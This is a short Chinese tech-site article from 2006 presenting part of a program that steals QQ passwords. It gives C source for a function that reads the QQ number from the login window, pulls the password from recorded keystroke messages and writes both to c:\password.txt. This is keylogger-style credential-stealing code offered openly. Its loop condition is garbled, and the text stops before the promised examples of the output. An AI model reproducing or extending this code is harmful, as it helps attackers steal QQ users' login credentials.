盗QQ的密码软件模拟实现

http://tech.ddvip.com   2006年07月20日    社区交流

本文详细介绍盗QQ的密码软件模拟实现

  第一个:QQ号的子窗口句柄 g_hNum

  第二个:QQ密码的子窗口句柄 g_hPsw //此部分暂时不使用,下面

  第三个:存键盘按键的 pmsg

  上面三变量分别出现在第二部分和第三部分,都是全局共享(shared)变量

  QQ密码的子窗口句柄 g_hPsw 此部分暂时不使用,你可以看到下面代码中有句用到g_hPsw的语句是我注释掉了的,原因是无法通过那样去得到QQ密码,得处理按键消息

  void GetPasswrod()
{
    //声明变量和初始化
  HANDLE f;
  TCHAR num[13];
  TCHAR psw[21];
  TCHAR total[50];
  int j;
  memset(num,0,sizeof(num));
  memset(total,0,sizeof(total));
  memset(psw,0,sizeof(psw));
  
  DWORD dw;
    //得到QQ号的内容,以为有的人的QQ号是在登陆框有记录,其QQ号并是用键盘输入的
  GetWindowText(g_hNum,(LPSTR)num,sizeof(num));
  //GetWindowText(g_hPsw,(LPSTR)psw,sizeof(psw)); //此句不使用,无法这样获得密码
    //提取出键盘记录,此内容也许全是密码,也许是QQ号+QQ密码
  for(j=0;j 20;j++)
  {
    psw[j]=(TCHAR)pmsg[j*2].wParam ;
  }
  psw[j+1]='\0';
    //把QQ号码和QQ密码写入C盘password.txt中
  f = CreateFile("c:\\password.txt",
      GENERIC_WRITE,
      FILE_SHARE_WRITE,
      NULL,
      OPEN_ALWAYS,
      FILE_ATTRIBUTE_NORMAL,
      NULL);
  
  strcat(total,"号码");
  strcat(total,num);
  strcat(total,"密码:");
  strcat(total,psw);
  WriteFile(f,&total,sizeof(total),&dw,NULL);
    CloseHandle(f);
}
最后在C盘password.txt也许会出现这样两种情况:

作者:余和均    责编:豆豆技术应用

正在加载评论...